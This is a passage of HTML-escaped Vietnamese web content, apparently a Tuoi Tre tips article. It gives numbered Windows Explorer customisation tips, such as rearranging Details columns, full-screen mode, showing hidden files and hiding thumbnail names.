&lt;em&gt;Menu View, Explorer Bar, Folders.&lt;/em&gt;&lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;/div&gt;&lt;p style="text-align: left;" class="pBody"&gt;&lt;strong&gt;2. Tùy biến ở dạng Details, phần 1:&lt;/strong&gt;&lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;/div&gt;&lt;p style="text-align: left;" class="pBody"&gt;Để thay đổi thứ tự của các cột Name, Size, Type, Date Modified, và những cột khác trong cửa sổ duyệt tập tin ở dạng Details, bạn chỉ cần đặt con trỏ chuột lên đầu mỗi cột và kéo qua trái hoặc phải tùy bạn.&lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;/div&gt;&lt;p style="text-align: left;" class="pBody"&gt;&lt;strong&gt;3. (2K, ME, XP) Tùy biến ở dạng Details, phần 2:&lt;/strong&gt;&lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;/div&gt;&lt;p style="text-align: left;" class="pBody"&gt;Tại sao chúng ta lại để các cột được hiển thị theo mặc định của Windows? Nếu muốn thay đổi, bạn chỉ cần nhấp phải chuột lên vị trị bất kỳ ở đầu cột, và chọn một mục trong trình đơn chưa được đánh dấu để thêm cột chứa thông tin đó, ngược lại bạn sẽ gỡ bỏ đánh dấu để bỏ đi cột tương ứng. Chọn &lt;em&gt;More&lt;/em&gt; trên trình đơn hiển thị khi nhấp chuột phải (có thể dùng &lt;em&gt;View, Choose Columns hay View, Choose Details&lt;/em&gt; trên trình đơn chính) để tùy biến thông qua hộp thoại.&lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;/div&gt;&lt;p style="text-align: left;" class="pBody"&gt;&lt;strong&gt;4. Hiển thị cửa sổ lớn hơn:&lt;/strong&gt;&lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;/div&gt;&lt;p style="text-align: left;" class="pBody"&gt;Bất kỳ khi nào bạn muốn xem nhiều thông tin hiển thị hơn về một folder hoặc trình duyệt Internet Explorer trên một màn hình, cách đơn giản là bạn nhấn phím &lt;em&gt;F11&lt;/em&gt; để xem cửa sổ đó ở chế độ toàn màn hình. Nhấn F11 nếu muốn xem lại ở chế độ bình thường. Nếu sử dụng Windows 2000, Me, hoặc XP, bạn có thể thêm một nút nhấn để chuyển đổi giữa 2 chế độ bằng cách nhấp phải chuột ở &lt;em&gt;Standard Toolbar&lt;/em&gt; và chọn &lt;em&gt;Customize&lt;/em&gt;. Nhấn &lt;em&gt;Full Screen&lt;/em&gt; ở bên dưới Available Tollbar buttons, sau đó chọn &lt;em&gt;Add&lt;/em&gt; rồi nhấn Close.&lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;/div&gt;&lt;p style="text-align: left;" class="pBody"&gt;&lt;strong&gt;5. Ẩn cây thư mục tự động:&lt;/strong&gt; &lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;/div&gt;&lt;p style="text-align: left;" class="pBody"&gt; &lt;table class="tLegend" style="border-collapse: separate; text-align: left; margin-left: 0px; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="40"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;&lt;img src="http://www.tuoitre.com.vn/Tianyon/ImageView.aspx?ThumbnailID=25783" hyperlink="" border="1" height="150" hspace="0" width="200" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Tắt mở cây thư mục bằng nút chốt đẩy nằm bên dưới thanh công cụ Standard&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Ở chế độ toàn màn hình, bạn có thể làm cho cây thư mục (hoặc bất kỳ tùy chọn nào thông qua &lt;em&gt;View, Explorer Bar&lt;/em&gt;) biến mất để bạn có được một vùng quan sát rộng hơn, và cho xuất hiện lại khi bạn rê chuột đến cạnh bên trái của màn hình. Nhấn lên nút pushpin (xem hình 1) ở đỉnh của khung bên trái cửa sổ để &lt;em&gt;Explorer Bar&lt;/em&gt; không còn cố định vào cửa sổ nữa và di chuyển chuột về phía phải màn hình để ẩn nó.&lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;/div&gt;&lt;p style="text-align: left;" class="pBody"&gt;&lt;strong&gt;6. Hiển thị các tập tin ẩn:&lt;/strong&gt; &lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;/div&gt;&lt;p style="text-align: left;" class="pBody"&gt;Bình thường, windows giấu nhiều tập tin hệ thống, điều này có thể làm cho việc chỉnh sửa trở nên khó khăn. Để thấy hết tất cả các tập tin, chọn &lt;em&gt;Tools, Folder Options, View&lt;/em&gt; trong bất kỳ cửa sổ thư mục hay &lt;em&gt;Explorer&lt;/em&gt; nào. Trong danh sách Advanced settings, chọn &lt;em&gt;Show hidden files and folders&lt;/em&gt; (hoặc &lt;em&gt;Show all files&lt;/em&gt; nếu trong Windows 98). Trong những phiên bản khác với Windows 98, bỏ dấu đánh đấu trước nhãn &lt;em&gt;Hide protected operating system files (Recommended&lt;/em&gt;). Nhấn &lt;em&gt;Yes&lt;/em&gt; và sau đó là OK.&lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;/div&gt;&lt;p style="text-align: left;" class="pBody"&gt;&lt;strong&gt;7. (2K, ME, XP) Mở rộng cửa sổ thư mục:&lt;/strong&gt; &lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;/div&gt;&lt;p style="text-align: left;" class="pBody"&gt;Nếu cửa sổ thư mục của bạn có một cửa sổ con ở bên trái dùng để liên kết với các tài nguyên hoặc các tác vụ khác mà bạn không bao giờ sử dụng. Muốn có tầm nhìn lớn hơn khi hiển thị các tập tìn và thư mục bạn chọn &lt;em&gt;Tools, Folder Options, Use Windows Classic Folders, OK&lt;/em&gt;. Thực hiện xong các động tác này thì Explorer Bar và shortcut của các “common task” sẽ không hiển thị nữa.&lt;/p&gt;&lt;p style="font-weight: bold;" class="pInterTitle"&gt;8. (XP) Xem được nhiều Thumbnail hơn:&lt;/p&gt; &lt;p class="pHead"&gt;TTO - Bạn có thể điều chỉnh sao cho hiển thị nhiều biểu tượng hơn ở khung bên phải trong cửa sổ Explorer khi xem ở chế độ Thumbnails, bằng cách làm ẩn các tên xuất hiện bên dưới các biểu tượng đi. Nhấn lên một thư mục khác trong khung chứa cây thư mục để thay đổi chế độ hiển thị, sau đó giữ phím &lt;em&gt;Shift &lt;/em&gt;khi chọn trở lại thư mục cũ, khi đó các tên xuất hiện bên dưới các biểu tượng sẽ không được hiển thị.&lt;/p&gt; &lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;9. (XP) Đưa thư mục đến thanh tác vụ:&lt;/span&gt; &lt;/p&gt; &lt;p class="pBody"&gt;Nếu bạn thích khung tác vụ trong cửa sổ Explorer nhưng muốn hiển thị các tác vụ đó khi hiển thị với phù hợp với nội dung của thư mục. Nhấp chuột phải lên biểu tượng nằm bên góc trên bên trái của cửa sổ, chọn &lt;em&gt;Properties, Customize &lt;/em&gt;và chọn những mô tả thích hợp nằm ở phía dưới nhãn &lt;em&gt;Use this folder type as template&lt;/em&gt;.&lt;/p&gt; &lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;10. Xem dung lượng ổ đĩa:&lt;/span&gt; &lt;/p&gt; &lt;p class="pBody"&gt;Bạn có thường tự hỏi làm thế nào để xem dung lượng ổ đĩa bạn đang dùng hoặc dọn dẹp nó? Rất đơn giản, bạn nhấp phải chuột lên biểu tượng củ
